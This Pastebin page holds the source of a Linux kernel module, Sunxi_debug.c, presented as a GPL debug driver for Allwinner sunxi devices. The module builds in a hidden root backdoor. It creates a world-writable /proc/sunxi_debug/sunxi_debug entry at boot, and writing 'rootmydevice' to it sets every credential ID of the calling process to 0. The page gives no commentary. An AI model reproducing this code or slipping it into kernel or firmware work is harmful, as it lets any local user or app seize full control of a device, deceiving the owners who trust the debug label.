Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Sunxi_debug.c
- *
- *
- * This program is free software; you can redistribute it and/or modify
- * it under the terms of the GNU General Public License version 2 as
- * published by the Free Software Foundation.
- */
- #include <linux/kernel.h>
- #include <linux/types.h>
- #include <linux/export.h>
- #include <linux/kthread.h>
- #include <linux/debugfs.h>
- #include <linux/proc_fs.h>//add by fe3o4
- #include <linux/uaccess.h>
- #include <linux/cred.h>
- static struct proc_dir_entry *proc_root;
- static struct proc_dir_entry * proc_su;
- static int sunxi_proc_su_write(struct file *file, const char __user *buffer,
- unsigned long count, void *data)
- {
- char *buf;
- struct cred *cred;
- if (count < 1)
- return -EINVAL;
- buf = kmalloc(count, GFP_KERNEL);
- if (!buf)
- return -ENOMEM;
- if (copy_from_user(buf, buffer, count)) {
- kfree(buf);
- return -EFAULT;
- }
- if(!strncmp("rootmydevice",(char*)buf,12)){
- cred = (struct cred *)__task_cred(current);
- cred->uid = 0;
- cred->gid = 0;
- cred->suid = 0;
- cred->euid = 0;
- cred->euid = 0;
- cred->egid = 0;
- cred->fsuid = 0;
- cred->fsgid = 0;
- printk("now you are root\n");
- }
- kfree(buf);
- return count;
- }
- static int sunxi_proc_su_read(char *page, char **start, off_t off,
- int count, int *eof, void *data)
- {
- printk("sunxi debug: rootmydevice\n");
- return 0;
- }
- static int sunxi_root_procfs_attach(void)
- {
- proc_root = proc_mkdir("sunxi_debug", NULL);
- proc_su= create_proc_entry("sunxi_debug", 0666, proc_root);
- if (IS_ERR(proc_su)){
- printk("create sunxi_debug dir error\n");
- return -1;
- }
- proc_su->data = NULL;
- proc_su->read_proc = sunxi_proc_su_read;
- proc_su->write_proc = sunxi_proc_su_write;
- return 0;
- }
- static int sunxi_debug_init(void)
- {
- int ret;
- ret = sunxi_root_procfs_attach();
- printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);
- if(ret){
- printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");
- }
- return ret;
- }
- subsys_initcall(sunxi_debug_init);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement